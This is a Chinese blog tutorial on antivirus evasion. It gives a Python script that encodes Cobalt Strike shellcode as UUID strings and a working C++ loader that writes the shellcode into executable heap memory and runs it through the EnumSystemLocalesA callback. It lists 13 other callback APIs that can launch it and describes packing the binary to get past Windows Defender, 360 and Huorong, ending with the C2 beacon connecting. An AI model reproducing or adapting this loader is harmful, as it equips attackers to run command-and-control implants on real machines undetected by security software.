UUID结合回调函数免杀初探

简介: UUID结合回调函数免杀初探

1. 前言


话不多说 今年目标发10篇免杀的小技巧!ok,今天给分享的是2018年就用在hvv的免杀技巧了:uuid+结合c语言的回调函数+壳免杀,写入内存进行免杀。

参考文章


https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method

本文在参考文章基础之上做了一些改进。


2. UUID是啥


UUID: 通用唯一标识符 ( Universally Unique Identifier ), 对于所有的UUID它可以保证在空间和时间上的唯一性.。它是通过MAC地址, 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID的唯一性, 有着固定的大小( 128 bit ).。它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUIDUUID可以被用作多种用途, 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象。

总结一下就是你的mac地址 ipv4都是在内存里面的,以二进制的方式写入内存也是理所当然的(这里可以思考一下是否可以把shellcode转成mac地址的方式或者ipv4的格式写入内存)


3. 免杀流程


3.1 cs4.3生成x64的payload


这里我就不截图了,很简单!


3.2 将payload转换为uuid的格式


网上有很多python写的,但是很多不加\x00补齐,容易导致后期编译程序报错。使用下面的代码可以直接自动补齐:

buf = b'''''' #shellcode
import  uuid
def convertToUUID(shellcode):
    if len(shellcode)%16 !=0:
        print("\n[*] length:",len(shellcode)+(16-(len(shellcode)%16)))
        addNullbyte = b"\x00" * (16-(len(shellcode)%16))
        shellcode += addNullbyte
    uuids = []
    for i in range(0,len(shellcode),16):
        uuidString = str(uuid.UUID(bytes_le=shellcode[i:i+16]))
        uuids.append(uuidString.replace("'","\""))
    return uuids
u = convertToUUID(buf)
print(str(u).replace("'","\""))


3.3uuid写入内存(重点来了)


首先讲一下普通shellcode加载:首先正常情况就是写入内存,通常情况下是通过使用windowsapishellcode加载的。但是大部分敏感参数早就是上了杀软的单名单,甚至包括一些执行权限,以及前几年绕过沙箱的sleep()函数等。可以说你敢用杀软就敢杀, 所以常规的加载方式是肯定不行的!

简单讲一下回调函数是什么: 首先使用回调函数必须要知道函数指针,这里我就不详细解了,不懂需要去看c、c++的指针和回调函数详解。

回调函数的定义: 通过函数指针调用的函数就是回调函数,就是你把函数的指针作为参数传递给另一个参数。这个指针就被用来调用所指向的函数时也就callback function。也就是说,有些库函数要求我们程序需要先给它传递一个参数,才能实现功能,大部分的库函数是不需要传参数。

再打个比方:在酒店,酒店提供叫醒服务,可以通过打电话或者派遣服务员又或者其它的方式,这个叫醒的行为我们可以理解为函数库。选择叫醒方式是我们自己定的,我们会把我们想要的方式反馈给酒店,这个反馈的行为就是回调函数!

#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
//将转换后的shellcode放入
const char* uuids[] =
{
"e48348fc-e8f0-00c8-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52", 
"322e3231-3931-0000-0000-000000000000", 
};
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//在进程的虚拟地址空间中保留空间
void* ha = HeapAlloc(hc, 0, 0x100000);//申请内存
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < elems; i++) {
    RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//UUID转换为原来的shellcode写入内存
    if (status != RPC_S_OK) {
        printf("UuidFromStringA() != S_OK\n");
        CloseHandle(ha);
        return -1;
    }
    hptr += 16;
}
printf("[*] Hexdump: ");
for (int i = 0; i < elems * 16; i++) {
    printf("%02X ", ((unsigned char*)ha)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//枚举操作系统上安装或支持的语言环境
CloseHandle(ha);
return 0;
}


4. 回调函数进行shellcode注入


通过回调函数进行shellcode注入,支持以下13种方法:

1. EnumTimeFormatsA
2.  EnumWindows
3.  EnumDesktopWindows
4.  EnumDateFormatsA
5.  EnumChildWindows
6. EnumThreadWindows
7.  EnumSystemLocalesA
8.  EnumSystemGeoID
9. EnumSystemLanguageGroupsA
10.  EnumUILanguagesA
11.  EnumSystemCodePagesA
12.  EnumDesktopsW
13.  EnumSystemCodePagesW

也就是说上面的代码中的EnumSystemLocalesA是可以换成列举的13种方法的任意一种,但是要注意:不是直接替换函数需要对照函数的参数来修改,需要参考库函数的格式。

代码就不多说了展示一下编译的配置吧 如果vs的编译有问题执行也会有问题,这里是x64 debug 代码生成参考:


鼠标右键点击main.cpp选择属性,运行库选择错误会导致有些系统报错dll错误。


5. 免杀效果


结论:生成的exe会被 windows defender拦截查杀(火绒和360是ok的)


5.1 Bypass 360



5.2 Bypass火绒



5.3 CS上线测试


cs正常上线


5.4 Bypass Windows Defender


今天必须把windows defender过了,这里采用加壳的方式进行混淆:

使用se的壳(加密区域全部选择默认的 同理会汇编的师傅可以尝试修改一些选项)

没加壳之前 直接被windows defender直接查杀:

加壳之后效果展示(火绒和360都未报毒,注意此处过windows defender仅仅只是静态,动态还是不行的,依旧被查杀)

所以我通过修改了原有代码,这里的我不会展示修改之后的代码,方法很简单就留给各位师傅自己思考了,由于不涉及过于底层的函数,就当图个乐看看吧!这是修改代码之后编译+壳,有趣的是纯编译之后静态的windows defender也过了,加壳之后动静都是可以过的,具体代码需要自己思考,一个很小的细节就可以成功过掉了!


6. 总结


360、火绒之类的,个人的观点:属于比较low的杀软了!玩笑话就是有手就行,但是针对edr或者企业级杀软,上面那些伎俩远远不够,还需要将底层的东西学会,免杀的方式有很多!但个人建议还是不要使用工具,多敲代码(c语言是必须要会的),多看关于api和内核的书(深入解析windows操作系统第七卷), 也推荐大家学习gonim语言,之后应该会出一个nim或者go的免杀。


相关文章
|
2月前
|
网络协议 API Windows
MASM32v11编程调用Process32First失败: 程序发出命令,但命令长度不正确
MASM32v11编程调用Process32First失败: 程序发出命令,但命令长度不正确
|
前端开发 JavaScript
.net core 前端传递参数有值 后端接收到的数据却是null
1、问题分析 在做接口测试时,偶然出现了前端输出有值,但是后端断点调试时却出现接收参数总是为null的情况 2、解决办法 前端打印log,看前端的每一个传值的数据类型,与后端请求参数类进行认真的一一比对 小技巧: ① 直接打印调用接口的传参值的数据类型,例如 console.log(type of this.form.name) --string console.log(type of this.form.age) --number 打印的数据类型与后端接口的参数类比对,查出不对应的类型 ② 关于非必填的值,默认传值可能出现空字符串(' ')、NaN值(Not a Number
314 0
|
JavaScript 安全 数据安全/隐私保护
JS逆向 -- 分析某站buvid3和_uuid的加密过程
JS逆向 -- 分析某站buvid3和_uuid的加密过程
183 0
|
前端开发 JavaScript API
停止像这样使用 “async/await“,改用原版
停止像这样使用 “async/await“,改用原版
148 0
停止像这样使用 “async/await“,改用原版
|
Linux
LINUX剪贴板调用接口获取数据
LINUX剪贴板调用接口获取数据
102 0
|
网络协议 C# 计算机视觉
关于 C#调用C库Dll,有回调函数时,只执行一次回调函数就直接挂掉 的解决方法
关于 C#调用C库Dll,有回调函数时,只执行一次回调函数就直接挂掉 的解决方法
关于 C#调用C库Dll,有回调函数时,只执行一次回调函数就直接挂掉 的解决方法
|
Java
攻防:如何防止动态hook绕过jni签名校验
攻 我们知道jni校验签名也不可靠,可以被动态hook绕过。代码如下:
459 0
|
API Windows
VBS调用windows api函数(postmessage)实现后台发送按键脚本
'=========================================================================='' VBScript Source File -- Created with SAPIEN Technologies PrimalScript 4.
2130 0